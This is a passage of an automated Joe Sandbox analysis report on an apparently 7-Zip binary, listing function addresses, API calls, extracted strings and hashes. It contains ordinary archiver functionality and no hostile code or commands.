Instruction Fuzzy Hash: 48317232215A4086C634AF11F9507AEB364E796BE0F588231EBF94BB95DF39C4D18B00

Function 0011B114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32 ref: 0011B12A
FileTimeToSystemTime.KERNEL32 ref: 0011B13E

Strings

gfff, xrefs: 0011B1D7

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: gfff
API String ID: 1748579591-1553575800
Opcode ID: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction ID: 48e1f8587cd70306eb5c6de47945ebaecbe2aeb595dc46bf29f6edc1617c5df2
Opcode Fuzzy Hash: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction Fuzzy Hash: D3519A93B182C08BD7198B3DD886BCDBFC1E3A5758F48822ADB5587785E36DC50AC721

Function 0011B5E0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

Part of subcall function 0011B5B8: GetCurrentProcess.KERNEL32 ref: 0011B5C2

GetSystemInfo.KERNEL32 ref: 0011B624

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CurrentInfoProcessSystem
String ID:
API String ID: 1098911721-0
Opcode ID: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
Instruction ID: eb949c017806f9991e201eddacfc11e7bcb90eae209f316d41dd9c9b71c0adce
Opcode Fuzzy Hash: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
Instruction Fuzzy Hash: 3EE0926662849483CB78EB08D9C26A9B361F3F4745FC05231E68A82E04DF2DC694CF00

Function 0015D670 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee90a0e28cdf5ca319eb7aa323224805b652061d1b8a18153c9d68adb395663c
Instruction ID: 34afeae6880bda907862fecc5a575742f80bca13212b8b6d580c827bd778b7ad
Opcode Fuzzy Hash: ee90a0e28cdf5ca319eb7aa323224805b652061d1b8a18153c9d68adb395663c
Instruction Fuzzy Hash: 09C001FA2197408B874A8F2EA850818BBA0F788B907868029AA0CD3300E2358444CF24

Function 00130C24 Relevance: 97.9, APIs: 78, Instructions: 364COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00130CC6
free.MSVCRT ref: 00130CD0
free.MSVCRT ref: 00130CE6
free.MSVCRT ref: 00130CF0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
Instruction ID: 5797942ea65adce56c90a824850d2fca386f6f098a987d385fecf34cafa3ffd4
Opcode Fuzzy Hash: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
Instruction Fuzzy Hash: BFD1E322259580A1CA54FF31E4916AFA760F7D3780F545272FB9E93B29DF38C896CB04

Function 00142A7D Relevance: 44.0, APIs: 35, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 0013E7A0: free.MSVCRT ref: 0013E81E
Part of subcall function 0013E7A0: free.MSVCRT ref: 0013E828
Part of subcall function 0013E7A0: free.MSVCRT ref: 0013E832
Part of subcall function 0013E7A0: free.MSVCRT ref: 0013E83C

free.MSVCRT ref: 00142AD7
free.MSVCRT ref: 00142AE2
free.MSVCRT ref: 00142AEB
free.MSVCRT ref: 00142AF6
free.MSVCRT ref: 00142B04
free.MSVCRT ref: 00142B26
free.MSVCRT ref: 00142B2F
free.MSVCRT ref: 00142B3D
free.MSVCRT ref: 00142B48
free.MSVCRT ref: 00142C3E
free.MSVCRT ref: 00142C49
free.MSVCRT ref: 00142C52
free.MSVCRT ref: 00142C5D
free.MSVCRT ref: 00142C6B
free.MSVCRT ref: 00142C8D
free.MSVCRT ref: 00142C96
free.MSVCRT ref: 00142CA4
free.MSVCRT ref: 00142CAF
free.MSVCRT ref: 00142CE3
free.MSVCRT ref: 00142CEE
free.MSVCRT ref: 00142CF7
free.MSVCRT ref: 00142D08
free.MSVCRT ref: 00142D16
free.MSVCRT ref: 00142D3D
free.MSVCRT ref: 00142D46
free.MSVCRT ref: 00142D54
free.MSVCRT ref: 00142D5F
free.MSVCRT ref: 00142D73
free.MSVCRT ref: 00142D85
free.MSVCRT ref: 00142D93
free.MSVCRT ref: 00142DBA
free.MSVCRT ref: 00142DC3
free.MSVCRT ref: 00142DD1
free.MSVCRT ref: 00142DDC
free.MSVCRT ref: 00142DEA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
Instruction ID: 85fc0c530f494028100b1f165c064e279a7c6d5e2a7a531d472725374a5aeeab
Opcode Fuzzy Hash: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
Instruction Fuzzy Hash: B9913E32205B8486CB28EF36E0A4AAE6760F7D7F85F4A5561DB5E53721CF38C496C704

Function 001566A8 Relevance: 43.9, APIs: 12, Strings: 13, Instructions: 131libraryloadertimeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 001566B6
GetProcessTimes.KERNEL32 ref: 001566E1
memset.MSVCRT ref: 0015670C
GetModuleHandleW.KERNEL32 ref: 00156721
GetProcAddress.KERNEL32 ref: 00156734
LoadLibraryW.KERNEL32 ref: 00156749
GetProcAddress.KERNEL32 ref: 0015675E
GetCurrentProcess.KERNEL32 ref: 0015676C
GetProcAddress.KERNEL32 ref: 0015678B
GetCurrentProcess.KERNEL32 ref: 00156799
fputs.MSVCRT ref: 0015682A
fputs.MSVCRT ref: 00156864

Strings

QueryProcessCycleTime, xrefs: 00156781
Kernel , xrefs: 00156806
kernel32.dll, xrefs: 00156711
GetProcessMemoryInfo, xrefs: 00156754
Virtual , xrefs: 0015689B
MCycles, xrefs: 0015685A
Process, xrefs: 00156880
Psapi.dll, xrefs: 00156742
H, xrefs: 001566FC
Global , xrefs: 001568A7
User , xrefs: 0015686A
Physical, xrefs: 001568C2
K32GetProcessMemoryInfo, xrefs: 00156727

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: Process$AddressCurrentProc$fputs$HandleLibraryLoadModuleTimesmemset
String ID: MCycles$GetProcessMemoryInfo$Global $H$K32GetProcessMemoryInfo$Kernel $Physical$Process$Psapi.dll$QueryProcessCycleTime$User $Virtual $kernel32.dll
API String ID: 600854398-319139910
Opcode ID: d7f8a16aaa2cb06036e5352a6df670f190340cc497d1c3e3751f8c418c22ba6f
Instruction ID: f6e5e1d4c9651505b9799bf5afc2a132641e97fd92c951c744c9a4761f45f98e
Opcode Fuzzy Hash: d7f8a16aaa2cb06036e5352a6df670f190340cc497d1c3e3751f8c418c22ba6f
Instruction Fuzzy Hash: 48515B75305A85D1EE20DB65FC807EA6360F798B86F84402ADE5E4B769EF3CC54AC780

Function 00131DB4 Relevance: 41.7, APIs: 33, Instructions: 418COMMON

Download Yara Rule

APIs

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

free.MSVCRT ref: 00131EAE
free.MSVCRT ref: 00131EB6
free.MSVCRT ref: 00131EC4
free.MSVCRT ref: 00131EF2
free.MSVCRT ref: 00131EFA
free.MSVCRT ref: 00131F08
free.MSVCRT ref: 00131F40
free.MSVCRT ref: 00131F48
free.MSVCRT ref: 00131F5B
free.MSVCRT ref: 00131FDE
free.MSVCRT ref: 00132010
free.MSVCRT ref: 00132018
free.MSVCRT ref: 00132026
free.MSVCRT ref: 001320E2
free.MSVCRT ref: 00132114
free.MSVCRT ref: 0013211C
free.MSVCRT ref: 0013212A
free.MSVCRT ref: 0013218F
free.MSVCRT ref: 00132197
free.MSVCRT ref: 001321A5
free.MSVCRT ref: 001321E1
free.MSVCRT ref: 001321E9
free.MSVCRT ref: 001321F7
free.MSVCRT ref: 00132235
free.MSVCRT ref: 0013223D
free.MSVCRT ref: 0013224B

Part of subcall function 00130554: free.MSVCRT ref: 001305FD
Part of subcall function 00130554: free.MSVCRT ref: 00130607
Part of subcall function 00130554: free.MSVCRT ref: 00130612

free.MSVCRT ref: 001322CD
free.MSVCRT ref: 001322D5
free.MSVCRT ref: 001322E3
free.MSVCRT ref: 001323A0
free.MSVCRT ref: 001323A8
free.MSVCRT ref: 001323B6
free.MSVCRT ref: 001323C4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: 4d8d899cfb035eb7cde2558026b141a486167347833140dff5bfb46b77e2efc0
Instruction ID: 6a9fb4c0f01a754b87054020e0f24a91f83fa64a656f2f9a464cc369ef1aed84
Opcode Fuzzy Hash: 4d8d899cfb035eb7cde2558026b141a486167347833140dff5bfb46b77e2efc0
Instruction Fuzzy Hash: 5BE19F3360869096CA34FE16E8811EEA760F796BD0F494236EF9D57B19CF78C886C740

Function 001205A0 Relevance: 40.7, APIs: 25, Strings: 2, Instructions: 209COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00120624
memmove.MSVCRT ref: 0012070D
free.MSVCRT ref: 001207AA
free.MSVCRT ref: 001207B8
free.MSVCRT ref: 001207C5
free.MSVCRT ref: 001207D2
free.MSVCRT ref: 001207DF
free.MSVCRT ref: 001207EC
free.MSVCRT ref: 001207F9
free.MSVCRT ref: 00120806
free.MSVCRT ref: 00120810
free.MSVCRT ref: 0012081B
free.MSVCRT ref: 00120843

Part of subcall function 0011339C: free.MSVCRT ref: 001133D7
Part of subcall function 0011339C: memmove.MSVCRT(00000000,?,?,00000000,001110A8), ref: 001133F2

free.MSVCRT ref: 0012084D

Part of subcall function 00113274: memmove.MSVCRT ref: 001132AC

free.MSVCRT ref: 00120859
free.MSVCRT ref: 00120867
free.MSVCRT ref: 00120874
free.MSVCRT ref: 00120881
free.MSVCRT ref: 0012088E
free.MSVCRT ref: 0012089B
free.MSVCRT ref: 001208A8
free.MSVCRT ref: 001208B5
free.MSVCRT ref: 001208BF
free.MSVCRT ref: 001208CA

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

Part of subcall function 0011FBE4: memmove.MSVCRT ref: 0011FC3F

_CxxThrowException.MSVCRT ref: 00120900

Strings

pqrxyzw, xrefs: 00120656
incorrect update switch command, xrefs: 001208E3

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove$ExceptionThrow
String ID: incorrect update switch command$pqrxyzw
API String ID: 3957182552-3922825594
Opcode ID: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
Instruction ID: 473aeb7476e0274a95548cf02e77a0edfa59783516a8c30bc4fa937093e4425b
Opcode Fuzzy Hash: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
Instruction Fuzzy Hash: 1681C23361499092CB25EF25E8907AEB320F7D9B84F454222EB9E47769DF38C996C740

Function 00115D18 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00115D69
free.MSVCRT ref: 00115DB7
free.MSVCRT ref: 00115DBF
wcscmp.MSVCRT ref: 00115E09
wcscmp.MSVCRT ref: 00115E63
wcscmp.MSVCRT ref: 00115E77
free.MSVCRT ref: 00115F32
free.MSVCRT ref: 00115F3A
memmove.MSVCRT ref: 00115F4F
free.MSVCRT ref: 0011603B
free.MSVCRT ref: 00116046
free.MSVCRT ref: 0011608D
free.MSVCRT ref: 00116095

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

Part of subcall function 0011B8F0: memmove.MSVCRT ref: 0011B932
Part of subcall function 0011B8F0: free.MSVCRT ref: 0011B93A

free.MSVCRT ref: 001160F3

Part of subcall function 001159E0: free.MSVCRT ref: 00115ABB
Part of subcall function 001159E0: free.MSVCRT ref: 00115ACE
Part of subcall function 001159E0: free.MSVCRT ref: 00115AD6
Part of subcall function 001159E0: memmove.MSVCRT ref: 00115AEE

free.MSVCRT ref: 001161A8
free.MSVCRT ref: 001161B0
free.MSVCRT ref: 001161BF
free.MSVCRT ref: 001161CA
free.MSVCRT ref: 001161EE
free.MSVCRT ref: 001161F6
free.MSVCRT ref: 00116202

Strings

Empty file path, xrefs: 00115D53

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove$wcscmp$ExceptionThrow
String ID: Empty file path
API String ID: 462375450-1562447899
Opcode ID: 324205b252e1547a146404fd684db01b8975b469ffccedc29f4d10e25dad08a8
Instruction ID: a1f892fd72bf797afce626276f0f3cb93a8acb43dcfa3dd64a95914593771d3d
Opcode Fuzzy Hash: 324205b252e1547a146404fd684db01b8975b469ffccedc29f4d10e25dad08a8
Instruction Fuzzy Hash: 4CD1CF32218A80D6CB28EF25E4803DEB762F7D5B94F544135EE9A47B69DF39C985CB00

Function 0011A224 Relevance: 37.8, APIs: 22, Strings: 3, Instructions: 317COMMON

Download Yara Rule

Strings

\, xrefs: 0011A363
\\?\, xrefs: 0011A3ED, 0011A4CF
\\?\UNC\, xrefs: 0011A527, 0011A66C

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID: \$\\?\$\\?\UNC\
API String ID: 0-1962706685
Opcode ID: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction ID: dc6f98bbf873793611a5ceb2f03ee340f8f69851f07e1bd7ae71e66aad935f8b
Opcode Fuzzy Hash: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction Fuzzy Hash: 26B1522260A540A0CE1CFF21D4615EEAB20EFA27D4F885132FA5E47769DF79C9C6C712

Function 00111C58 Relevance: 31.5, APIs: 25, Instructions: 294COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00111C98
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00111CB9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4011904a981b9cc7d5110702b517e72b43359cd785bba75f51c38677a1bb3970
Instruction ID: c66d7bed7d7e7fd27b715654212b1fbd22ce88a77026f502863b341450d94a3a
Opcode Fuzzy Hash: 4011904a981b9cc7d5110702b517e72b43359cd785bba75f51c38677a1bb3970
Instruction Fuzzy Hash: 2BA1822264964491CB28EF15E4905EEE721E7E67D0F941232FB9E47B69DF38C8D6CB00

Function 00156C04 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 160COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00156C87

Part of subcall function 00112670: fputs.MSVCRT ref: 0011268F

fputs.MSVCRT ref: 00156C4F

Part of subcall function 00156B3C: fputs.MSVCRT ref: 00156B7C
Part of subcall function 00156B3C: free.MSVCRT ref: 00156BAE
Part of subcall function 00156B3C: fputs.MSVCRT ref: 00156BCC

fputs.MSVCRT ref: 00156D13
fputs.MSVCRT ref: 00156D3D
fputs.MSVCRT ref: 00156D6D
fputs.MSVCRT ref: 00156D87
fputc.MSVCRT ref: 00156D9A
free.MSVCRT ref: 00156E3A
free.MSVCRT ref: 00156E72

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

Strings

WARNINGS for files:, xrefs: 00156D36
Scan WARNINGS for files and folders:, xrefs: 00156C48
file, xrefs: 00156D80
WARNING: Cannot open , xrefs: 00156D66
Everything is Ok, xrefs: 00156D0C
Scan WARNINGS: , xrefs: 00156C80
Error:, xrefs: 00156E50

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free$fputc
String ID: Error:$ file$Everything is Ok$Scan WARNINGS for files and folders:$Scan WARNINGS: $WARNING: Cannot open $WARNINGS for files:
API String ID: 2662072562-1527772849
Opcode ID: cf38ecbc90f80cce91f4804fd03da9a44f36afd14dcff60acdae5e80679d7744
Instruction ID: 4c1f07cafd6d6f9d1e3ffa40e167a46dab75b3825dface6ab85d0874f8063727
Opcode Fuzzy Hash: cf38ecbc90f80cce91f4804fd03da9a44f36afd14dcff60acdae5e80679d7744
Instruction Fuzzy Hash: B4517276304940C6DE24EB21DA913EE6322F7A5BD5F844125EE6A0B669DF3CC999C380

Function 00131988 Relevance: 27.7, APIs: 22, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

free.MSVCRT ref: 00131A13
free.MSVCRT ref: 00131A73
free.MSVCRT ref: 00131AA1
free.MSVCRT ref: 00131AA9
free.MSVCRT ref: 00131AB7
free.MSVCRT ref: 00131AC2
free.MSVCRT ref: 00131C8F
free.MSVCRT ref: 00131C9A
free.MSVCRT ref: 00131CA7
free.MSVCRT ref: 00131CB4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
Instruction ID: 4166d52ac8177bef333f5be0d1ea038dd0f77d0f99fa480240cbe85704987230
Opcode Fuzzy Hash: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
Instruction Fuzzy Hash: 7F716422219AC0A1CA24EB25E8517DEA720F7D77D0F545222FF9E577A9DF38C586C700

Function 0014187D Relevance: 25.2, APIs: 20, Instructions: 214COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014187D

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemalloc
String ID:
API String ID: 2861928636-0
Opcode ID: fc3a67dbef3549b613e96df0c000b572b71572800cf79d164be4322c4d64f1de
Instruction ID: db0de8fa133b3db8a894caa14e85d34f21fba6fc942bed3f8ada6d545f492841
Opcode Fuzzy Hash: fc3a67dbef3549b613e96df0c000b572b71572800cf79d164be4322c4d64f1de
Instruction Fuzzy Hash: A1815B32209BC891CA64DF26E450BAE7764F7EBB84F455122DB8E53B25CF38C496C704

Function 001572C8 Relevance: 25.1, APIs: 20, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001572DB
free.MSVCRT ref: 0015730D
free.MSVCRT ref: 00157315
free.MSVCRT ref: 0015731D
free.MSVCRT ref: 0015732D
free.MSVCRT ref: 00157339
free.MSVCRT ref: 00157345
free.MSVCRT ref: 00157351
free.MSVCRT ref: 0015735D
free.MSVCRT ref: 00157369
free.MSVCRT ref: 00157375
free.MSVCRT ref: 00157381
free.MSVCRT ref: 0015738D
free.MSVCRT ref: 00157399
free.MSVCRT ref: 001573A2
free.MSVCRT ref: 001573AB
free.MSVCRT ref: 001573B4
free.MSVCRT ref: 001573E9
free.MSVCRT ref: 001573F1
free.MSVCRT ref: 001573F9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction ID: 72e723d4649d7876c2b7b7741854fb6c01e0a50f109ddaaf8d43deb2489ada3b
Opcode Fuzzy Hash: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction Fuzzy Hash: 0231C52261198095CA59FE36DC522EC6320EBA2F95F1D0272EF2D5F369CF30C8A68354

Function 0014DCB0 Relevance: 22.8, APIs: 10, Strings: 5, Instructions: 323COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014DE77
free.MSVCRT ref: 0014DE82
free.MSVCRT ref: 0014DE8C

Part of subcall function 0011AEBC: memmove.MSVCRT ref: 0011AEE7

free.MSVCRT ref: 0014DF0B

Strings

2, xrefs: 0014DFF8
?, xrefs: 0014E024
Z, xrefs: 0014DEBC
3, xrefs: 0014E0BC
?, xrefs: 0014DF66

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 2$3$?$?$Z
API String ID: 1534225298-3338962022
